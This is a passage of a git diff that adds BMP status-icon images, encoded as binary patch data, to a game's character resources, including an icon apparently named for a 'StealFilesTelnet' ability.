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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp new file mode 100644 index 0000000000000000000000000000000000000000..ad5329176dda2c8ddf575e0d30bfd56c8b6d5d86 GIT binary patch literal 2406 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 